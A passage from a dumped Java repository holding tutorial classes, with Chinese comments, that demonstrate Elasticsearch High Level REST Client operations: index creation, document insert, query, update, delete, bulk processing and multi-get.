    "content": "package com.jun.plugin.elasticsearch;\n\nimport org.apache.http.HttpHost;\nimport org.elasticsearch.ElasticsearchException;\nimport org.elasticsearch.action.ActionListener;\nimport org.elasticsearch.action.DocWriteRequest;\nimport org.elasticsearch.action.DocWriteResponse;\nimport org.elasticsearch.action.admin.indices.alias.Alias;\nimport org.elasticsearch.action.admin.indices.create.CreateIndexRequest;\nimport org.elasticsearch.action.admin.indices.create.CreateIndexResponse;\nimport org.elasticsearch.action.admin.indices.delete.DeleteIndexRequest;\nimport org.elasticsearch.action.admin.indices.get.GetIndexRequest;\nimport org.elasticsearch.action.bulk.*;\nimport org.elasticsearch.action.delete.DeleteRequest;\nimport org.elasticsearch.action.delete.DeleteResponse;\nimport org.elasticsearch.action.get.GetRequest;\nimport org.elasticsearch.action.get.GetResponse;\nimport org.elasticsearch.action.index.IndexRequest;\nimport org.elasticsearch.action.index.IndexResponse;\nimport org.elasticsearch.action.support.IndicesOptions;\nimport org.elasticsearch.action.support.WriteRequest;\nimport org.elasticsearch.action.support.replication.ReplicationResponse;\nimport org.elasticsearch.action.update.UpdateRequest;\nimport org.elasticsearch.action.update.UpdateResponse;\nimport org.elasticsearch.client.RequestOptions;\nimport org.elasticsearch.client.RestClient;\nimport org.elasticsearch.client.RestHighLevelClient;\nimport org.elasticsearch.common.unit.ByteSizeUnit;\nimport org.elasticsearch.common.unit.ByteSizeValue;\nimport org.elasticsearch.common.unit.TimeValue;\nimport org.elasticsearch.common.xcontent.XContentBuilder;\nimport org.elasticsearch.common.xcontent.XContentFactory;\nimport org.elasticsearch.common.xcontent.XContentType;\nimport org.elasticsearch.index.query.BoolQueryBuilder;\nimport org.elasticsearch.index.query.QueryBuilders;\nimport org.elasticsearch.index.query.TermQueryBuilder;\nimport org.elasticsearch.index.reindex.BulkByScrollResponse;\nimport org.elasticsearch.index.reindex.DeleteByQueryRequest;\nimport org.elasticsearch.index.reindex.ScrollableHitSource;\nimport org.elasticsearch.index.reindex.UpdateByQueryRequest;\nimport org.elasticsearch.rest.RestStatus;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.TimeUnit;\nimport java.util.function.BiConsumer;\n\n/**\n * @Title: EsHighLevelRestTest1\n * @Description: Java High Level REST Client Es高级客户端使用教程一 (基本CRUD使用) 官方文档地址:\n *               https://www.elastic.co/guide/en/elasticsearch/client/java-rest/current/java-rest-high.html\n * @since jdk 1.8\n * @Version:1.0.0\n * @author pancm\n * @date 2019年3月5日\n */\npublic class EsHighLevelRestTest1 {\n\n\tprivate static String elasticIp = \"192.169.0.23\";\n\tprivate static int elasticPort = 9200;\n\n\tprivate static Logger logger = LoggerFactory.getLogger(EsHighLevelRestTest1.class);\n\n\tprivate static RestHighLevelClient client = null;\n\n\tpublic static void main(String[] args) {\n\t\ttry {\n\t\t\tinit();\n\t\t\tcreateIndex();\n\t\t\tinsert();\n\t\t\tqueryById();\n\t\t\texists();\n\t\t\tupdate();\n//\t\t\tdeleteByQuery();\n//\t\t\tdeleteIndex();\n//\t\t\tdelete();\n//\t\t\tbulk();\n\t\t\tclose();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n\tprivate static void insert() throws IOException {\n\t\tString index = \"test1\";\n\t\tString type = \"_doc\";\n\t\t// 唯一编号\n\t\tString id = \"1\";\n\t\tIndexRequest request = new IndexRequest(index, type, id);\n\t\t/*\n\t\t * 第一种方式，通过jsonString进行创建\n\t\t */\n\t\t// json\n\t\tString jsonString = \"{\" + \"\\\"uid\\\":\\\"1234\\\",\"+ \"\\\"phone\\\":\\\"12345678909\\\",\"+ \"\\\"msgcode\\\":\\\"1\\\",\" + \"\\\"sendtime\\\":\\\"2019-03-14 01:57:04\\\",\"\n\t\t\t\t+ \"\\\"message\\\":\\\"xuwujing study Elasticsearch\\\"\" + \"}\";\n\t\trequest.source(jsonString, XContentType.JSON);\n\n\t\t/*\n\t\t * 第二种方式，通过map创建,，会自动转换成json的数据\n\t\t */\n\t\tMap<String, Object> jsonMap = new HashMap<>();\n\t\tjsonMap.put(\"uid\", 1234);\n\t\tjsonMap.put(\"phone\", 12345678909L);\n\t\tjsonMap.put(\"msgcode\", 1);\n\t\tjsonMap.put(\"sendtime\", \"2019-03-14 01:57:04\");\n\t\tjsonMap.put(\"message\", \"xuwujing study Elasticsearch\");\n\t\trequest.source(jsonMap);\n\n\t\t/*\n\t\t * 第三种方式 : 通过XContentBuilder对象进行创建\n\t\t */\n\n\t\tXContentBuilder builder = XContentFactory.jsonBuilder();\n\t\tbuilder.startObject();\n\t\t{\n\t\t\tbuilder.field(\"uid\", 1234);\n\t\t\tbuilder.field(\"phone\", 12345678909L);\n\t\t\tbuilder.field(\"msgcode\", 1);\n\t\t\tbuilder.timeField(\"sendtime\", \"2019-03-14 01:57:04\");\n\t\t\tbuilder.field(\"message\", \"xuwujing study Elasticsearch\");\n\t\t}\n\t\tbuilder.endObject();\n\t\trequest.source(builder);\n\n\t\tIndexResponse indexResponse = client.index(request, RequestOptions.DEFAULT);\n\n\t\t//如果是200则表示成功，否则就是失败\n\t\tif(200 == indexResponse.status().getStatus()){\n\n\t\t}\n\n\t\t// 对响应结果进行处理\n\t\tString index1 = indexResponse.getIndex();\n\t\tString type1 = indexResponse.getType();\n\t\tString id1 = indexResponse.getId();\n\t\tlong version = indexResponse.getVersion();\n\t\t// 如果是新增/修改的话的话\n\t\tif (indexResponse.getResult() == DocWriteResponse.Result.CREATED) {\n\n\t\t} else if (indexResponse.getResult() == DocWriteResponse.Result.UPDATED) {\n\n\t\t}\n\t\tReplicationResponse.ShardInfo shardInfo = indexResponse.getShardInfo();\n\t\tif (shardInfo.getTotal() != shardInfo.getSuccessful()) {\n\n\t\t}\n\t\tif (shardInfo.getFailed() > 0) {\n\t\t\tfor (ReplicationResponse.ShardInfo.Failure failure : shardInfo.getFailures()) {\n\t\t\t\tString reason = failure.reason();\n\t\t\t}\n\t\t}\n\t}\n\n\t/*\n\t * 初始化服务\n\t */\n\tprivate static void init() {\n\t\t\n\t\tclient = new RestHighLevelClient(RestClient.builder(new HttpHost(elasticIp, elasticPort)));\n\n\t}\n\n\t/*\n\t * 关闭服务\n\t */\n\tprivate static void close() {\n\t\tif (client != null) {\n\t\t\ttry {\n\t\t\t\tclient.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * 创建索引\n\t * \n\t * @throws IOException\n\t */\n\tprivate static void createIndex() throws IOException {\n\n\t\t// 类型\n\t\tString type = \"_doc\";\n\t\tString index = \"test1\";\n\t\t// setting 的值\n\t\tMap<String, Object> setmapping = new HashMap<>();\n\t\t// 分区数、副本数、缓存刷新时间\n\t\tsetmapping.put(\"number_of_shards\", 10);\n\t\tsetmapping.put(\"number_of_replicas\", 1);\n\t\tsetmapping.put(\"refresh_interval\", \"5s\");\n\t\tMap<String, Object> keyword = new HashMap<>();\n\t\t//设置类型\n\t\tkeyword.put(\"type\", \"keyword\");\n\t\tMap<String, Object> lon = new HashMap<>();\n\t\t//设置类型\n\t\tlon.put(\"type\", \"long\");\n\t\tMap<String, Object> date = new HashMap<>();\n\t\t//设置类型\n\t\tdate.put(\"type\", \"date\");\n\t\tdate.put(\"format\", \"yyyy-MM-dd HH:mm:ss\");\n\n\t\tMap<String, Object> jsonMap2 = new HashMap<>();\n\t\tMap<String, Object> properties = new HashMap<>();\n\t\t//设置字段message信息\n\t\tproperties.put(\"uid\", lon);\n\t\tproperties.put(\"phone\", lon);\n\t\tproperties.put(\"msgcode\", lon);\n\t\tproperties.put(\"message\", keyword);\n\t\tproperties.put(\"sendtime\", date);\n\t\tMap<String, Object> mapping = new HashMap<>();\n\t\tmapping.put(\"properties\", properties);\n\t\tjsonMap2.put(type, mapping);\n\n\t\tGetIndexRequest getRequest = new GetIndexRequest();\n\t\tgetRequest.indices(index);\n\t\tgetRequest.types(type);\n\t\tgetRequest.local(false);\n\t\tgetRequest.humanReadable(true);\n\t\tboolean exists2 = client.indices().exists(getRequest, RequestOptions.DEFAULT);\n\t\t//如果存在就不创建了\n\t\tif(exists2) {\n\t\t\tSystem.out.println(index+\"索引库已经存在!\");\n\t\t\treturn;\n\t\t}\n\t\t// 开始创建库\n\t\tCreateIndexRequest request = new CreateIndexRequest(index);\n\t\ttry {\n\t\t\t// 加载数据类型\n\t\t\trequest.settings(setmapping);\n\t\t\t//设置mapping参数\n\t\t\trequest.mapping(type, jsonMap2);\n\t\t\t//设置别名\n\t\t\trequest.alias(new Alias(\"pancm_alias\"));\n\t\t\tCreateIndexResponse createIndexResponse = client.indices().create(request, RequestOptions.DEFAULT);\n\t\t\tboolean falg = createIndexResponse.isAcknowledged();\n\t\t\tif(falg){\n\t\t\t\tSystem.out.println(\"创建索引库:\"+index+\"成功！\" );\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n\n\t/**\n\t * 删除索引\n\t *\n\t * @throws IOException\n\t */\n\tprivate static void deleteIndex() throws IOException {\n\t\tString index = \"userindex\";\n\t\tDeleteIndexRequest  request = new DeleteIndexRequest(index);\n\t\t// 同步删除\n\t\tclient.indices().delete(request,RequestOptions.DEFAULT);\n\t\tSystem.out.println(\"删除索引库成功！\"+index);\n\n\t}\n\n\t/**\n\t * 查询数据\n\t * \n\t * @throws IOException\n\t */\n\tprivate static void queryById() {\n\t\tString type = \"_doc\";\n\t\tString index = \"test1\";\n\t\t// 唯一编号\n\t\tString id = \"1\";\n\t\t// 创建查询请求\n\t\tGetRequest getRequest = new GetRequest(index, type, id);\n\n\t\tGetResponse getResponse = null;\n\t\ttry {\n\t\t\tgetResponse = client.get(getRequest, RequestOptions.DEFAULT);\n\t\t} catch (IOException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t} catch (ElasticsearchException e) {\n\t\t\t// 如果是索引不存在\n\t\t\tif (e.status() == RestStatus.NOT_FOUND) {\n\t\t\t\tSystem.out.println(\"该索引库不存在！\" + index);\n\t\t\t}\n\n\t\t}\n\t\t// 如果存在该数据则返回对应的结果\n\t\tif (getResponse.isExists()) {\n\t\t\tlong version = getResponse.getVersion();\n\t\t\tString sourceAsString = getResponse.getSourceAsString();\n\t\t\tMap<String, Object> sourceAsMap = getResponse.getSourceAsMap();\n\t\t\tbyte[] sourceAsBytes = getResponse.getSourceAsBytes();\n\t\t\tSystem.out.println(\"查询返回结果String:\" + sourceAsString);\n\t\t\tSystem.out.println(\"查询返回结果Map:\" + sourceAsMap);\n\t\t} else {\n\t\t\tSystem.out.println(\"没有找到该数据！\");\n\t\t}\n\t}\n\n\t/**\n\t * 是否存在\n\t * \n\t * @throws IOException\n\t */\n\tprivate static void exists() throws IOException {\n\t\tString type = \"_doc\";\n\t\tString index = \"test1\";\n\t\t// 唯一编号\n\t\tString id = \"1\";\n\t\t// 创建查询请求\n\t\tGetRequest getRequest = new GetRequest(index, type, id);\n\n\t\t\n\t\tboolean exists = client.exists(getRequest, RequestOptions.DEFAULT);\n\n\t\tActionListener<Boolean> listener = new ActionListener<Boolean>() {\n\t\t\t@Override\n\t\t\tpublic void onResponse(Boolean exists) {\n\t\t\t\tSystem.out.println(\"==\" + exists);\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onFailure(Exception e) {\n\t\t\t\tSystem.out.println(\"失败的原因：\" + e.getMessage());\n\t\t\t}\n\t\t};\n\t\t// 进行异步监听\n//\t\tclient.existsAsync(getRequest, RequestOptions.DEFAULT, listener);\n\n\t\tSystem.out.println(\"数据是否存在：\" + exists);\n\t}\n\n\t/**\n\t * 更新操作\n\t * \n\t * @throws IOException\n\t */\n\tprivate static void update() throws IOException {\n\t\tString type = \"_doc\";\n\t\tString index = \"test1\";\n\t\t// 唯一编号\n\t\tString id = \"1\";\n\t\tUpdateRequest upateRequest = new UpdateRequest();\n\t\tupateRequest.id(id);\n\t\tupateRequest.index(index);\n\t\tupateRequest.type(type);\n\n\t\t// 依旧可以使用Map这种集合作为更新条件\n\t\tMap<String, Object> jsonMap = new HashMap<>();\n\t\tjsonMap.put(\"uid\", 12345);\n\t\tjsonMap.put(\"phone\", 123456789019L);\n\t\tjsonMap.put(\"msgcode\", 2);\n\t\tjsonMap.put(\"sendtime\", \"2019-03-14 01:57:04\");\n\t\tjsonMap.put(\"message\", \"xuwujing study Elasticsearch\");\n\t\tupateRequest.doc(jsonMap);\n\t\t// upsert 方法表示如果数据不存在，那么就新增一条\n\t\tupateRequest.docAsUpsert(true);\n\t\tclient.update(upateRequest, RequestOptions.DEFAULT);\n\t\tSystem.out.println(\"更新成功！\");\n\n\t}\n\n\n\n\t/**\n\t * 根据查询条件更新\n\t *\n\t * @throws IOException\n\t */\n\tprivate static void updateByQuery() throws IOException {\n\t\tString type = \"_doc\";\n\t\tString index = \"test1\";\n\t\t//\n\t\tUpdateByQueryRequest request = new UpdateByQueryRequest(index,type);\n\t\t// 设置查询条件\n\t\trequest.setQuery(new TermQueryBuilder(\"user\", \"pancm\"));\n\t\tBoolQueryBuilder boolQueryBuilder = new BoolQueryBuilder();\n\n\t\t// 设置复制文档的数量\n\t\trequest.setSize(10);\n\t\t// 设置一次批量处理的条数，默认是1000\n\t\trequest.setBatchSize(100);\n\t\t//设置超时时间\n\t\trequest.setTimeout(TimeValue.timeValueMinutes(2));\n\t\t//索引选项\n\t\trequest.setIndicesOptions(IndicesOptions.LENIENT_EXPAND_OPEN);\n\n\t\t// 同步执行\n\t\tBulkByScrollResponse bulkResponse = client.updateByQuery(request, RequestOptions.DEFAULT);\n\n\t\t// 异步执行\n//\t\tclient.updateByQueryAsync(request, RequestOptions.DEFAULT, listener);\n\n\t\t// 返回结果\n\t\tTimeValue timeTaken = bulkResponse.getTook();\n\t\tboolean timedOut = bulkResponse.isTimedOut();\n\t\tlong totalDocs = bulkResponse.getTotal();\n\t\tlong updatedDocs = bulkResponse.getUpdated();\n\t\tlong deletedDocs = bulkResponse.getDeleted();\n\t\tlong batches = bulkResponse.getBatches();\n\t\tlong noops = bulkResponse.getNoops();\n\t\tlong versionConflicts = bulkResponse.getVersionConflicts();\n\t\tlong bulkRetries = bulkResponse.getBulkRetries();\n\t\tlong searchRetries = bulkResponse.getSearchRetries();\n\t\tTimeValue throttledMillis = bulkResponse.getStatus().getThrottled();\n\t\tTimeValue throttledUntilMillis = bulkResponse.getStatus().getThrottledUntil();\n\t\tList<ScrollableHitSource.SearchFailure> searchFailures = bulkResponse.getSearchFailures();\n\t\tList<BulkItemResponse.Failure> bulkFailures = bulkResponse.getBulkFailures();\n\t\tSystem.out.println(\"查询更新总共花费了:\" + timeTaken.getMillis() + \" 毫秒，总条数:\" + totalDocs + \",更新数:\" + updatedDocs);\n\n\t}\n\n\t/**\n\t * 删除\n\t * \n\t * @throws IOException\n\t * \n\t */\n\tprivate static void delete() throws IOException {\n\n\t\tString type = \"_doc\";\n\t\tString index = \"test1\";\n\t\t// 唯一编号\n\t\tString id = \"1\";\n\t\tDeleteRequest deleteRequest = new DeleteRequest();\n\t\tdeleteRequest.id(id);\n\t\tdeleteRequest.index(index);\n\t\tdeleteRequest.type(type);\n\t\t// 设置超时时间\n\t\tdeleteRequest.timeout(TimeValue.timeValueMinutes(2));\n\t\t// 设置刷新策略\"wait_for\"\n\t\t// 保持此请求打开，直到刷新使此请求的内容可以搜索为止。此刷新策略与高索引和搜索吞吐量兼容，但它会导致请求等待响应，直到发生刷新\n\t\tdeleteRequest.setRefreshPolicy(WriteRequest.RefreshPolicy.WAIT_UNTIL);\n\t\t// 同步删除\n\t\tDeleteResponse deleteResponse = client.delete(deleteRequest, RequestOptions.DEFAULT);\n\n\t\t/*\n\t\t * 异步删除操作\n\t\t */\n\n\t\t// 进行监听\n\t\tActionListener<DeleteResponse> listener = new ActionListener<DeleteResponse>() {\n\t\t\t@Override\n\t\t\tpublic void onResponse(DeleteResponse deleteResponse) {\n\t\t\t\tSystem.out.println(\"响应:\" + deleteResponse);\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onFailure(Exception e) {\n\t\t\t\tSystem.out.println(\"删除监听异常:\" + e.getMessage());\n\t\t\t}\n\t\t};\n\n\t\t// 异步删除\n//\t\t client.deleteAsync(deleteRequest, RequestOptions.DEFAULT, listener);\n\n\t\tReplicationResponse.ShardInfo shardInfo = deleteResponse.getShardInfo();\n\t\t// 如果处理成功碎片的数量少于总碎片的情况,说明还在处理或者处理发生异常\n\t\tif (shardInfo.getTotal() != shardInfo.getSuccessful()) {\n\t\t\tSystem.out.println(\"需要处理的碎片总量:\" + shardInfo.getTotal());\n\t\t\tSystem.out.println(\"处理成功的碎片总量:\" + shardInfo.getSuccessful());\n\t\t}\n\n\t\tif (shardInfo.getFailed() > 0) {\n\t\t\tfor (ReplicationResponse.ShardInfo.Failure failure : shardInfo.getFailures()) {\n\t\t\t\tString reason = failure.reason();\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"删除成功!\");\n\t}\n\n\n\t/**\n\t * 根据查询条件删除\n\t *\n\t * @throws IOException\n\t */\n\tprivate static void deleteByQuery() throws IOException {\n\t\tString type = \"_doc\";\n\t\tString index = \"test1\";\n\t\tDeleteByQueryRequest request = new DeleteByQueryRequest(index,type);\n\t\t// 设置查询条件\n\t\trequest.setQuery(QueryBuilders.termQuery(\"uid\",1234));\n\t\t// 同步执行\n\t\tBulkByScrollResponse bulkResponse = client.deleteByQuery(request, RequestOptions.DEFAULT);\n\n\t\t// 异步执行\n//\t\tclient.updateByQueryAsync(request, RequestOptions.DEFAULT, listener);\n\n\t\t// 返回结果\n\t\tTimeValue timeTaken = bulkResponse.getTook();\n\t\tboolean timedOut = bulkResponse.isTimedOut();\n\t\tlong totalDocs = bulkResponse.getTotal();\n\t\tlong updatedDocs = bulkResponse.getUpdated();\n\t\tlong deletedDocs = bulkResponse.getDeleted();\n\t\tlong batches = bulkResponse.getBatches();\n\t\tlong noops = bulkResponse.getNoops();\n\t\tlong versionConflicts = bulkResponse.getVersionConflicts();\n\t\tlong bulkRetries = bulkResponse.getBulkRetries();\n\t\tlong searchRetries = bulkResponse.getSearchRetries();\n\t\tTimeValue throttledMillis = bulkResponse.getStatus().getThrottled();\n\t\tTimeValue throttledUntilMillis = bulkResponse.getStatus().getThrottledUntil();\n\t\tList<ScrollableHitSource.SearchFailure> searchFailures = bulkResponse.getSearchFailures();\n\t\tList<BulkItemResponse.Failure> bulkFailures = bulkResponse.getBulkFailures();\n\t\tSystem.out.println(\"查询更新总共花费了:\" + timeTaken.getMillis() + \" 毫秒，总条数:\" + totalDocs + \",更新数:\" + updatedDocs);\n\n\t}\n\n\t/**\n\t * 批量操作示例\n\t * \n\t * @throws InterruptedException\n\t */\n\tprivate static void bulk() throws IOException, InterruptedException {\n\t\tString index = \"estest\";\n\t\tString type = \"estest\";\n\n\t\tBulkRequest request = new BulkRequest();\n\t\t// 批量新增,存在会直接覆盖\n\t\trequest.add(new IndexRequest(index, type, \"1\").source(XContentType.JSON, \"field\", \"foo\"));\n\t\trequest.add(new IndexRequest(index, type, \"2\").source(XContentType.JSON, \"field\", \"bar\"));\n\t\trequest.add(new IndexRequest(index, type, \"3\").source(XContentType.JSON, \"field\", \"baz\"));\n\n\t\t// 可以进行修改/删除/新增 操作\n\t\t//docAsUpsert 为true表示存在更新，不存在插入，为false表示不存在就是不做更新\n\t\trequest.add(new UpdateRequest(index, type, \"2\").doc(XContentType.JSON, \"field\", \"test\").docAsUpsert(true));\n\t\trequest.add(new DeleteRequest(index, type, \"3\"));\n\t\trequest.add(new IndexRequest(index, type, \"4\").source(XContentType.JSON, \"field\", \"baz\"));\n\n\t\tBulkResponse bulkResponse = client.bulk(request, RequestOptions.DEFAULT);\n\n\n\t\tActionListener<BulkResponse> listener3 = new ActionListener<BulkResponse>() {\n\t\t\t@Override\n\t\t\tpublic void onResponse(BulkResponse response) {\n\t\t\t\tSystem.out.println(\"====\"+response.buildFailureMessage());\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onFailure(Exception e) {\n\t\t\t\tSystem.out.println(\"====---\"+e.getMessage());\n\t\t\t}\n\t\t};\n\n\t\tclient.bulkAsync(request, RequestOptions.DEFAULT,listener3);\n\n\t\t// 可以快速检查一个或多个操作是否失败 true是有至少一个失败！\n\t\tif (bulkResponse.hasFailures()) {\n\t\t\tSystem.out.println(\"有一个操作失败!\");\n\t\t}\n\n\t\t// 对处理结果进行遍历操作并根据不同的操作进行处理\n\t\tfor (BulkItemResponse bulkItemResponse : bulkResponse) {\n\t\t\tDocWriteResponse itemResponse = bulkItemResponse.getResponse();\n\n\t\t\t// 操作失败的进行处理\n\t\t\tif (bulkItemResponse.isFailed()) {\n\t\t\t\tBulkItemResponse.Failure failure = bulkItemResponse.getFailure();\n\n\t\t\t}\n\n\t\t\tif (bulkItemResponse.getOpType() == DocWriteRequest.OpType.INDEX\n\t\t\t\t\t|| bulkItemResponse.getOpType() == DocWriteRequest.OpType.CREATE) {\n\t\t\t\tIndexResponse indexResponse = (IndexResponse) itemResponse;\n\t\t\t\tSystem.out.println(\"新增失败!\"+indexResponse.toString());\n\n\t\t\t} else if (bulkItemResponse.getOpType() == DocWriteRequest.OpType.UPDATE) {\n\t\t\t\tUpdateResponse updateResponse = (UpdateResponse) itemResponse;\n\t\t\t\tSystem.out.println(\"更新失败!\"+updateResponse.toString());\n\n\t\t\t} else if (bulkItemResponse.getOpType() == DocWriteRequest.OpType.DELETE) {\n\t\t\t\tDeleteResponse deleteResponse = (DeleteResponse) itemResponse;\n\t\t\t\tSystem.out.println(\"删除失败!\"+deleteResponse.toString());\n\n\t\t\t}\n\t\t}\n\n\t\tSystem.out.println(\"批量执行成功！\");\n\n\t\t/*\n\t\t * 批量执行处理器相关示例代码\n\t\t */\n\n\t\t// 批量处理器的监听器设置\n\n\t\tBulkProcessor.Listener listener = new BulkProcessor.Listener() {\n\n\t\t\t// 在执行BulkRequest的每次执行之前调用，这个方法允许知道将要在BulkRequest中执行的操作的数量\n\t\t\t@Override\n\t\t\tpublic void beforeBulk(long executionId, BulkRequest request) {\n\t\t\t\tint numberOfActions = request.numberOfActions();\n\t\t\t\tlogger.debug(\"Executing bulk [{}] with {} requests\", executionId, numberOfActions);\n\t\t\t}\n\n\t\t\t// 在每次执行BulkRequest之后调用，这个方法允许知道BulkResponse是否包含错误\n\t\t\t@Override\n\t\t\tpublic void afterBulk(long executionId, BulkRequest request, BulkResponse response) {\n\t\t\t\tif (response.hasFailures()) {\n\t\t\t\t\tlogger.warn(\"Bulk [{}] executed with failures\", executionId);\n\t\t\t\t} else {\n\t\t\t\t\tlogger.debug(\"Bulk [{}] completed in {} milliseconds\", executionId, response.getTook().getMillis());\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// 如果BulkRequest失败，则调用该方法，该方法允许知道失败\n\t\t\t@Override\n\t\t\tpublic void afterBulk(long executionId, BulkRequest request, Throwable failure) {\n\t\t\t\tlogger.error(\"Failed to execute bulk\", failure);\n\t\t\t}\n\t\t};\n\n\t\tBiConsumer<BulkRequest, ActionListener<BulkResponse>> bulkConsumer = (request2, bulkListener) -> client\n\t\t\t\t.bulkAsync(request, RequestOptions.DEFAULT, bulkListener);\n\t\t// 创建一个批量执行的处理器\n\t\tBulkProcessor bulkProcessor = BulkProcessor.builder(bulkConsumer, listener).build();\n\t\tBulkProcessor.Builder builder = BulkProcessor.builder(bulkConsumer, listener);\n\t\t// 根据当前添加的操作数量设置刷新新批量请求的时间(默认为1000，使用-1禁用它)\n\t\tbuilder.setBulkActions(500);\n\t\t// 根据当前添加的操作大小设置刷新新批量请求的时间(默认为5Mb，使用-1禁用)\n\t\tbuilder.setBulkSize(new ByteSizeValue(1L, ByteSizeUnit.MB));\n\t\t// 设置允许执行的并发请求数量(默认为1，使用0只允许执行单个请求)\n\t\tbuilder.setConcurrentRequests(0);\n\t\t// 设置刷新间隔如果间隔通过，则刷新任何挂起的BulkRequest(默认为未设置)\n\t\tbuilder.setFlushInterval(TimeValue.timeValueSeconds(10L));\n\t\t// 设置一个常量后退策略，该策略最初等待1秒并重试最多3次。\n\t\tbuilder.setBackoffPolicy(BackoffPolicy.constantBackoff(TimeValue.timeValueSeconds(1L), 3));\n\n\t\tIndexRequest one = new IndexRequest(index, type, \"1\").source(XContentType.JSON, \"title\",\n\t\t\t\t\"In which order are my Elasticsearch queries executed?\");\n\t\tIndexRequest two = new IndexRequest(index, type, \"2\").source(XContentType.JSON, \"title\",\n\t\t\t\t\"Current status and upcoming changes in Elasticsearch\");\n\t\tIndexRequest three = new IndexRequest(index, type, \"3\").source(XContentType.JSON, \"title\",\n\t\t\t\t\"The Future of Federated Search in Elasticsearch\");\n\t\tbulkProcessor.add(one);\n\t\tbulkProcessor.add(two);\n\t\tbulkProcessor.add(three);\n\n\t\t// 如果所有大容量请求都已完成，则该方法返回true;如果在所有大容量请求完成之前的等待时间已经过去，则返回false\n\t\tboolean terminated = bulkProcessor.awaitClose(30L, TimeUnit.SECONDS);\n\n\t\tSystem.out.println(\"请求的响应结果:\" + terminated);\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/elasticsearch/EsHighLevelRestTest2.java",
    "content": "package com.jun.plugin.elasticsearch;\n\nimport org.apache.http.HttpHost;\nimport org.elasticsearch.action.ActionListener;\nimport org.elasticsearch.action.admin.cluster.node.tasks.list.ListTasksResponse;\nimport org.elasticsearch.action.bulk.BulkItemResponse;\nimport org.elasticsearch.action.get.GetResponse;\nimport org.elasticsearch.action.get.MultiGetItemResponse;\nimport org.elasticsearch.action.get.MultiGetRequest;\nimport org.elasticsearch.action.get.MultiGetResponse;\nimport org.elasticsearch.action.support.IndicesOptions;\nimport org.elasticsearch.client.RequestOptions;\nimport org.elasticsearch.client.RestClient;\nimport org.elasticsearch.client.RestHighLevelClient;\nimport org.elasticsearch.client.RethrottleRequest;\nimport org.elasticsearch.common.unit.TimeValue;\nimport org.elasticsearch.index.query.TermQueryBuilder;\nimport org.elasticsearch.index.reindex.BulkByScrollResponse;\nimport org.elasticsearch.index.reindex.DeleteByQueryRequest;\nimport org.elasticsearch.index.reindex.ReindexRequest;\nimport org.elasticsearch.index.reindex.ScrollableHitSource;\nimport org.elasticsearch.tasks.TaskId;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.Assert.assertNull;\n\n/**\n * @Title: EsHighLevelRestTest2\n * @Description: Java High Level REST Client Es高级客户端使用教程二 (关于组合使用)\n * @since jdk 1.8\n * @Version:1.0.0\n * @author pancm\n * @date 2019年3月11日\n */\npublic class EsHighLevelRestTest2 {\n\n\tprivate static String elasticIp = \"192.169.0.23\";\n\tprivate static int elasticPort = 9200;\n\n\tprivate static Logger logger = LoggerFactory.getLogger(EsHighLevelRestTest2.class);\n\n\tprivate static RestHighLevelClient client = null;\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\ttry {\n\t\t\tinit();\n\t\t\tmultiGet();\n\t\t\treindex();\n\t\t\tdeleteByQuery();\n\t\t\trethrottleByQuery();\n\t\t\tclose();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n\t/*\n\t * 初始化服务\n\t */\n\tprivate static void init() {\n\t\tclient = new RestHighLevelClient(RestClient.builder(new HttpHost(elasticIp, elasticPort, \"http\")));\n\n\t}\n\n\t/*\n\t * 关闭服务\n\t */\n\tprivate static void close() {\n\t\tif (client != null) {\n\t\t\ttry {\n\t\t\t\tclient.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * 多查询使用\n\t * \n\t * @throws IOException\n\t */\n\tprivate static void multiGet() throws IOException {\n\n\t\tMultiGetRequest request = new MultiGetRequest();\n\t\trequest.add(new MultiGetRequest.Item(\"estest\", \"estest\", \"1\"));\n\t\trequest.add(new MultiGetRequest.Item(\"user\", \"userindex\", \"2\"));\n\t\t// 禁用源检索，默认启用\n//\t\trequest.add(new MultiGetRequest.Item(\"user\", \"userindex\", \"2\").fetchSourceContext(FetchSourceContext.DO_NOT_FETCH_SOURCE));\n\n\t\t// 同步构建\n\t\tMultiGetResponse response = client.mget(request, RequestOptions.DEFAULT);\n\n\t\t// 异步构建\n//\t\tMultiGetResponse response2 = client.mgetAsync(request, RequestOptions.DEFAULT, listener);\n\n\t\t/*\n\t\t * 返回的MultiGetResponse包含在' getResponses中的MultiGetItemResponse的列表，其顺序与请求它们的顺序相同。\n\t\t * 如果成功，MultiGetItemResponse包含GetResponse或MultiGetResponse。如果失败了就失败。\n\t\t * 成功看起来就像一个正常的GetResponse\n\t\t */\n\n\t\tfor (MultiGetItemResponse item : response.getResponses()) {\n\t\t\tassertNull(item.getFailure());\n\t\t\tGetResponse get = item.getResponse();\n\t\t\tString index = item.getIndex();\n\t\t\tString type = item.getType();\n\t\t\tString id = item.getId();\n\t\t\t// 如果请求存在\n\t\t\tif (get.isExists()) {\n\t\t\t\tlong version = get.getVersion();\n\t\t\t\tString sourceAsString = get.getSourceAsString();\n\t\t\t\tMap<String, Object> sourceAsMap = get.getSourceAsMap();\n\t\t\t\tbyte[] sourceAsBytes = get.getSourceAsBytes();\n\t\t\t\tSystem.out.println(\"查询的结果:\" + sourceAsMap);\n\t\t\t} else 